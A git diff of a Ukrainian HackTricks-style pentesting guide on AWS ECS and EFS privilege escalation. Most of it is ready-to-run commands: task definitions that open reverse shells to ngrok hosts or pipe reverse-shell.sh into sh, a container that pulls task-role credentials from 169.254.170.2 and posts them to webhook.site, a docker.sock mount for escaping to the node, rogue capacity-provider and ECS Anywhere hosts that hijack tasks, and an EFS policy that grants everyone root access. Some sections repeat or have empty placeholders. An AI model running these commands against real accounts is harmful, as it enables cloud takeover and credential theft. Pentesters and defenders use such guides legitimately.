-# Execute a shell in a container -aws ecs execute-command --interactive \ ---command "sh" \ ---cluster "$CLUSTER_ARN" \ ---task "$TASK_ARN" -``` -- Якщо у нього є **`ecs:RunTask`**, запустіть завдання за допомогою `aws ecs run-task --enable-execute-command [...]` -- Якщо у нього є **`ecs:StartTask`**, запустіть завдання за допомогою `aws ecs start-task --enable-execute-command [...]` -- Якщо у нього є **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]` -- Якщо у нього є **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]` - -Ви можете знайти **приклади цих опцій** в **попередніх розділах ECS privesc**. - -**Потенційний вплив:** Privesc до іншої ролі, прив’язаної до контейнерів. - -### `ssm:StartSession` - -Перегляньте **ssm privesc page**, щоб дізнатися, як можна зловживати цим дозволом для **privesc to ECS**: - -{{#ref}} -aws-ssm-privesc.md -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Перегляньте **ec2 privesc page**, щоб дізнатися, як можна зловживати цими дозволами для **privesc to ECS**: - -{{#ref}} -aws-ec2-privesc.md -{{#endref}} - -### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` - -Атакувальник з цими дозволами може потенційно зареєструвати EC2 інстанс в ECS кластері та запускати на ньому таски. Це може дозволити виконувати довільний код в контексті ECS tasks. - -- TODO: Чи можливо зареєструвати інстанс з іншого AWS акаунта, щоб таски виконувались на машинах, контрольованих атакуючим?? - -### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` - -> [!NOTE] -> TODO: Протестувати це - -Атакувальник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий task set для існуючого ECS service та оновити primary task set**. Це дозволяє атакувальнику **виконувати довільний код в межах сервісу**. -```bash -# Register a task definition with a reverse shell -echo '{ -"family": "malicious-task", -"containerDefinitions": [ -{ -"name": "malicious-container", -"image": "alpine", -"command": [ -"sh", -"-c", -"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" -] -} -] -}' > malicious-task-definition.json - -aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json - -# Create a malicious task set for the existing service -aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" - -# Update the primary task set for the service -aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id -``` -**Потенційний вплив**: Виконання довільного коду у постраждалій службі, що може вплинути на її функціональність або призвести до несанкціонованої ексфільтрації конфіденційних даних. - -## Посилання - -- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md new file mode 100644 index 000000000..e00513b35 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md @@ -0,0 +1,536 @@ +# AWS - ECS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Більше **інформації про ECS** у: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` + +Атакувальник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **згенерувати нове визначення таску** з **шкідливим контейнером**, який викрадає облікові дані з метаданих і **запустити його**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +# Run task definition +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +{{#endtab }} + +{{#tab name="Webhook" }} + +Створіть webhook за допомогою сервісу на кшталт webhook.site +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + +**Потенційний вплив:** Прямий privesc до іншої ролі ECS. + +### `iam:PassRole`,`ecs:RunTask` +Зловмисник, який має `iam:PassRole` та `ecs:RunTask` дозволи, може запустити нове ECS task із зміненими **execution role**, **task role** та **command** контейнера. CLI команда `ecs run-task` містить прапорець `--overrides`, який дозволяє під час виконання змінювати `executionRoleArn`, `taskRoleArn` та `command` контейнера без редагування task definition. + +Зазначені IAM ролі для `taskRoleArn` та `executionRoleArn` повинні у своїй trust policy дозволяти їхнє assumption службою `ecs-tasks.amazonaws.com`. + +Також зловмиснику потрібно знати: +- Ім'я ECS кластера +- Підмережу VPC +- Security group (якщо не вказано, буде використано значення за замовчуванням) +- Назву Task Definition і ревізію +- Ім'я контейнера +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +У наведеному вище фрагменті коду атакуючий змінює тільки значення `taskRoleArn`. Однак атакуючий повинен мати дозвіл `iam:PassRole` на `taskRoleArn`, вказаний у команді, і на `executionRoleArn`, зазначений у визначенні завдання, щоб атака відбулася. + +Якщо IAM роль, яку атакуючий може передати, має достатні привілеї, щоб завантажити образ з ECR і запустити завдання ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), то атакуючий може вказати ту саму IAM роль як для `executionRoleArn`, так і для `taskRoleArn` у команді `ecs run-task`. +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Potential Impact:** Прямий privesc до будь-якої ECS task role. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` + +Як і в попередньому прикладі, зловмисник, який зловживає правами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **створити новий task definition** з **malicious container**, який викрадає metadata credentials і **запустити його**.\ +Однак у цьому випадку потрібен container instance для запуску malicious task definition. +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +aws ecs start-task --task-definition iam_exfiltration \ +--container-instances + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +**Потенційний вплив:** Прямий privesc до будь-якої ролі ECS. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` + +Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати новий task definition** зі **шкідливим контейнером**, який краде облікові дані метаданих, і **запустити його, створивши новий сервіс з принаймні одним запущеним завданням.** +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" + +# Run the task creating a service +aws ecs create-service --service-name exfiltration \ +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" + +# Run the task updating a service +aws ecs update-service --cluster \ +--service \ +--task-definition +``` +**Потенційний вплив:** Пряме privesc до будь-якої ролі ECS. + +### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` + +Насправді, маючи лише ці дозволи, можна використати overrides, щоб виконати довільні команди в контейнері з довільною роллю за допомогою чогось на кшталт: +```bash +aws ecs run-task \ +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +``` +**Потенційний вплив:** Прямий privesc до будь-якої ECS ролі. + +### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Цей сценарій схожий на попередні, але **без** дозволу **`iam:PassRole`**.\ +Це все ще цікаво, бо якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **запустити привілейований контейнер для втечі** на вузол і **вкрасти EC2 IAM роль** та **ролі інших ECS контейнерів**, що працюють на вузлі.\ +Ви навіть можете **змусити інші завдання виконуватися всередині EC2 інстансу**, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорюється у [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)). + +> [!WARNING] +> Ця атака можлива лише якщо **ECS cluster використовує EC2** інстанси і не Fargate. +```bash +printf '[ +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} +]' > /tmp/task.json + +printf '[ +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} +]' > /tmp/volumes.json + + +aws ecs register-task-definition --family iam_exfiltration \ +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json + + +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 + +# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell +``` +### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Атакуючий, який має **`ecs:ExecuteCommand`, `ecs:DescribeTasks`**, може **виконувати команди** всередині запущеного контейнера та exfiltrate IAM роль, прикріплену до нього (потрібні describe permissions, оскільки це необхідно для запуску `aws ecs execute-command`).\ +Однак для цього інстанс контейнера має бути запущений з **ExecuteCommand agent** (за замовчуванням — ні). + +Тому атакуючий може спробувати: + +- **Спробувати виконати команду** в кожному запущеному контейнері +```bash +# List enableExecuteCommand on each task +for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done +done + +# Execute a shell in a container +aws ecs execute-command --interactive \ +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" +``` +- Якщо користувач має **`ecs:RunTask`**, запустіть task за допомогою `aws ecs run-task --enable-execute-command [...]` +- Якщо користувач має **`ecs:StartTask`**, запустіть task за допомогою `aws ecs start-task --enable-execute-command [...]` +- Якщо користувач має **`ecs:CreateService`**, створіть service за допомогою `aws ecs create-service --enable-execute-command [...]` +- Якщо користувач має **`ecs:UpdateService`**, оновіть service за допомогою `aws ecs update-service --enable-execute-command [...]` + +Ви можете знайти **приклади цих опцій** в **попередніх розділах ECS privesc**. + +**Potential Impact:** Privesc до іншої ролі, прив'язаної до контейнерів. + +### `ssm:StartSession` + +Перегляньте на сторінці **ssm privesc**, як можна зловживати цим дозволом, щоб **privesc до ECS**: + +{{#ref}} +../aws-ssm-privesc/README.md +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Перегляньте на сторінці **ec2 privesc**, як можна зловживати цими дозволами, щоб **privesc до ECS**: + +{{#ref}} +../aws-ec2-privesc/README.md +{{#endref}} + +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` + +Зловмисник з такими дозволами потенційно може зареєструвати EC2 instance в ECS кластері та запускати на ньому tasks. Це може дозволити зловмиснику виконувати довільний код у контексті ECS tasks. + +- TODO: Чи можливо зареєструвати instance з іншого AWS account так, щоб tasks запускалися на машинах, контрольованих зловмисником?? + +### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` + +> [!NOTE] +> TODO: Протестувати це + +Зловмисник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий task set для існуючого ECS сервісу та оновити primary task set**. Це дозволяє зловмиснику **виконувати довільний код у межах сервісу**. +```bash +# Register a task definition with a reverse shell +echo '{ +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] +}' > malicious-task-definition.json + +aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json + +# Create a malicious task set for the existing service +aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" + +# Update the primary task set for the service +aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id +``` +**Потенційний вплив**: Виконання довільного коду у вразливому сервісі, що може вплинути на його функціональність або призвести до викрадення конфіденційних даних. + +## Посилання + +- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +Зловмисник з правами на керування ECS capacity providers та оновлення сервісів може створити EC2 Auto Scaling Group під своїм контролем, обгорнути її в ECS Capacity Provider, асоціювати з цільовим кластером і перемістити жертвенний сервіс на цей provider. Tasks будуть плануватися на EC2 інстанси, контрольовані атакуючим, що забезпечить доступ на рівні ОС для огляду контейнерів та викрадення task role credentials. + +Commands (us-east-1): + +- Попередні вимоги + +- Create Launch Template for ECS agent to join target cluster + +- Create Auto Scaling Group + +- Create Capacity Provider from the ASG + +- Associate the Capacity Provider to the cluster (optionally as default) + +- Migrate a service to your provider + +- Verify tasks land on attacker instances + +- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials. + +- Cleanup + + + +**Потенційний вплив:** EC2 ноди під контролем атакуючого отримують завдання жертви, що дозволяє доступ на рівні ОС до контейнерів та викрадення task IAM role credentials. + + +
+Step-by-step commands (copy/paste) +
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+
+
+ +### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration + +Зловживання ECS Anywhere для реєстрації хоста під контролем атакуючого як EXTERNAL container instance у постраждалому ECS cluster та запуску tasks на цьому хості з використанням привілейованих task та execution ролей. Це дає контроль на рівні ОС над тим, де запускаються tasks (ваша власна машина) і дозволяє викрадати credentials/дані з tasks та підключених томів без втручання в capacity providers або ASGs. + +- Необхідні дозволи (приклад мінімальних): +- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask +- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation +- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles) +- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs) + +- Вплив: Запуск довільних контейнерів з обраним taskRoleArn на хості атакуючого; викрадення task-role credentials з 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; доступ до будь-яких томів, змонтованих tasks; більш приховано ніж маніпулювання capacity providers/ASGs. + +Steps + +1) Create/identify cluster (us-east-1) +```bash +aws ecs create-cluster --cluster-name ht-ecs-anywhere +``` +2) Створити роль ECS Anywhere і активацію SSM (для on-prem/EXTERNAL instance) +```bash +aws iam create-role --role-name ecsAnywhereRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role +ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole) +ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode) +``` +3) Розгорнути attacker host та автоматично зареєструвати його як EXTERNAL (наприклад: невеликий AL2 EC2 як “on‑prem”) + +
+user-data.sh +```bash +#!/bin/bash +set -euxo pipefail +amazon-linux-extras enable docker || true +yum install -y docker curl jq +systemctl enable --now docker +curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" +chmod +x /root/ecs-anywhere-install.sh +/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 +``` +
+```bash +AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) +IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ +--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) +aws ec2 wait instance-status-ok --instance-ids $IID +``` +4) Переконайтеся, що EXTERNAL екземпляр контейнера приєднався +```bash +aws ecs list-container-instances --cluster ht-ecs-anywhere +aws ecs describe-container-instances --cluster ht-ecs-anywhere \ +--container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' +# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external +``` +5) Створити task/execution roles, зареєструвати EXTERNAL task definition та запустити його на attacker host +```bash +# roles +aws iam create-role --role-name ht-ecs-task-exec \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy +aws iam create-role --role-name ht-ecs-task-role \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +# attach any privileges you want to abuse to this task role + +# task def (EXTERNAL launch) +cat > td-external.json << 'JSON' +{ +"family": "ht-external", +"requiresCompatibilities": [ "EXTERNAL" ], +"networkMode": "bridge", +"memory": "256", +"cpu": "128", +"executionRoleArn": "arn:aws:iam:::role/ht-ecs-task-exec", +"taskRoleArn": "arn:aws:iam:::role/ht-ecs-task-role", +"containerDefinitions": [ +{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"], +"memory": 128, +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}} +} +] +} +JSON +aws logs create-log-group --log-group-name /ht/ecs/anywhere || true +aws ecs register-task-definition --cli-input-json file://td-external.json +CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text) +aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \ +--container-instances $CI +``` +6) Звідси ви контролюєте хост, який запускає завдання. Ви можете читати логи завдань (if awslogs) або безпосередньо виконати exec на хості, щоб ексфільтрувати облікові дані/дані зі своїх завдань. + + + +#### Приклад команди (placeholders) + + + + +### Перехоплення планування ECS через зловмисний Capacity Provider (EC2 ASG takeover) + +Зловмисник, який має права керувати ECS capacity providers та оновлювати сервіси, може створити EC2 Auto Scaling Group під своїм контролем, обгорнути її в ECS Capacity Provider, асоціювати з цільовим кластером і мігрувати сервіс жертви для використання цього провайдера. Завдання будуть заплановані на EC2 інстанси, контрольовані атакуючим, що дозволяє доступ на рівні ОС для інспекції контейнерів та викрадення облікових даних ролі завдання. + +Commands (us-east-1): + +- Передумови + + + +- Create Launch Template for ECS agent to join target cluster + + + +- Create Auto Scaling Group + + + +- Create Capacity Provider from the ASG + + + +- Associate the Capacity Provider to the cluster (optionally as default) + + + +- Migrate a service to your provider + + + +- Verify tasks land on attacker instances + + + +- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials. + +- Прибирання + + + +**Потенційний вплив:** EC2 вузли, контрольовані атакуючим, отримують завдання жертви, що дає змогу доступу на рівні ОС до контейнерів та викрадення облікових даних IAM ролі завдання. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md deleted file mode 100644 index 2027110eb..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ /dev/null @@ -1,86 +0,0 @@ -# AWS - EFS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Більше **інформації про EFS** в: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -Пам'ятайте, що для монтування EFS вам потрібно бути в підмережі, де EFS відкритий, і мати доступ до нього (групи безпеки). Якщо це відбувається, за замовчуванням ви завжди зможете його змонтувати, однак, якщо він захищений політиками IAM, вам потрібно мати додаткові дозволи, згадані тут, щоб отримати доступ. - -### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` - -З будь-яким з цих дозволів зловмисник може **змінити політику файлової системи**, щоб **надати вам доступ** до неї або просто **видалити її**, щоб **надано доступ за замовчуванням**. - -Щоб видалити політику: -```bash -aws efs delete-file-system-policy \ ---file-system-id -``` -Щоб змінити це: -```json -aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json - -// Give everyone trying to mount it read, write and root access -// policy.json: -{ -"Version": "2012-10-17", -"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", -"Statement": [ -{ -"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": [ -"elasticfilesystem:ClientRootAccess", -"elasticfilesystem:ClientWrite", -"elasticfilesystem:ClientMount" -], -"Condition": { -"Bool": { -"elasticfilesystem:AccessedViaMountTarget": "true" -} -} -} -] -} -``` -### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` - -З цією дозволом зловмисник зможе **підключити EFS**. Якщо дозвіл на запис за замовчуванням не надано всім, хто може підключити EFS, він матиме лише **доступ для читання**. -```bash -sudo mkdir /efs -sudo mount -t efs -o tls,iam :/ /efs/ -``` -Додаткові дозволи `elasticfilesystem:ClientRootAccess` та `elasticfilesystem:ClientWrite` можуть бути використані для **запису** всередині файлової системи після її монтування та для **доступу** до цієї файлової системи **як root**. - -**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації у файловій системі. - -### `elasticfilesystem:CreateMountTarget` - -Якщо ви, як зловмисник, знаходитесь у **підмережі**, де **немає цільового монту** EFS. Ви можете просто **створити один у своїй підмережі** з цим привілеєм: -```bash -# You need to indicate security groups that will grant the user access to port 2049 -aws efs create-mount-target --file-system-id \ ---subnet-id \ ---security-groups -``` -**Потенційний вплив:** Непряме підвищення привілеїв шляхом виявлення чутливої інформації у файловій системі. - -### `elasticfilesystem:ModifyMountTargetSecurityGroups` - -У сценарії, коли зловмисник виявляє, що EFS має точку монтування у його підмережі, але **жодна група безпеки не дозволяє трафік**, він може просто **змінити це, змінивши вибрані групи безпеки**: -```bash -aws efs modify-mount-target-security-groups \ ---mount-target-id \ ---security-groups -``` -**Потенційний вплив:** Непряме підвищення привілеїв шляхом виявлення чутливої інформації у файловій системі. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md new file mode 100644 index 000000000..f02d6c2a8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md @@ -0,0 +1,86 @@ +# AWS - EFS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Більше **інформації про EFS** у: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +Пам'ятайте, що щоб змонтувати EFS, вам потрібно бути в підмережі, де EFS доступний, і мати доступ до нього (security groups). Якщо це виконано, за замовчуванням ви завжди зможете його змонтувати, однак якщо він захищений політиками IAM, вам потрібно мати додаткові дозволи, зазначені тут, 